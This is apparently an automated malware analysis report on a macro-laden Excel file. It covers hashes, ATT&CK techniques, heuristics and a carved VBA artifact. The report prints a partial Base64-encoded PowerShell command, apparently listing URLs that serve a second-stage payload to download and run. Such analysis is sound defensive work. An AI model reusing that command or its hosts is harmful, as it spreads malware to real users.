Office (OLE) / .XLSX malware analysis — malicious · bbc7456143f239e6

MALICIOUS

Office (OLE) / .XLSX

142.0 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel

MD5: e04ffabaf60a5220b6ae3d5888857a36 SHA-1: d5eb8e2bed131f4d8c0a7e2a1c08eec0e8fc6373 SHA-256: bbc7456143f239e660b366674fd055a161522263a8255b102a13a2e733e40df2

280 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The file contains VBA macros, specifically a Workbook_Open macro, which is a common technique for executing malicious code upon opening the document. The script attempts to create objects like 'Wscript.Shell' and 'Scripting.FileSystemObject' to execute commands and potentially download further payloads. The reconstructed command line `hell -e nc JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwADoALwAvAGcAbwB5AGEAbAB1AGEAdAAuAHYAbQBlAHMAaAAuAGkAbgAvADAAdgA2AGsAYwBuAHkALwBDAEcALwAsAGgAdAB0AHAAcwA6AC8ALwBtAGEAcgBzAC4AcwByAGwALwB3AHAALQBhAGQAbQBpAG4ALwA3AEYAZgBrADYATABMAE4AMgBYAHMAMgBXAC8ALABoAHQAdABwADoALwAvAGYAcgBhAG4AbQB1AGwAZQByAG8ALgBlAHMALwBtAGIAeAAvADgAYwA1AFIAQgBKAHgANgAvACwAaAB0AHQAcAA6AC8ALwB2AGEAcgBhAGYAbwBvAGQALgBjAG8AbQAvAEEAagBhAHgALwBjAG4ATQA5ADEARwAvACwAaAB0AHQAcABzADoALwAvADcAagBjAGEAdAAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHQALwAsAGgAdAB0AHAAOgAvAC8AYgBsAG8AZwAuAGMAZQBuAHQAcgBhAGwAaABvAG0AZQAuAGgA` indicates the execution of a Base64 encoded command, likely to download and execute a second-stage payload from one of the listed URLs. The presence of 'c:\programdata\jledshf.bat' and 'c:\programdata\sduoixo.vbs' suggests the creation of malicious files on the system.

Heuristics 7

ClamAV: Doc.Malware.Valyria-10004384-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Valyria-10004384-0
Reference to Windows Script Host high SC_STR_WSCRIPT

Reference to Windows Script Host
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `527d0656a0c2c323955d068683ef8f7e20c035cda247a1e24383595c0eb3403b`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	7821 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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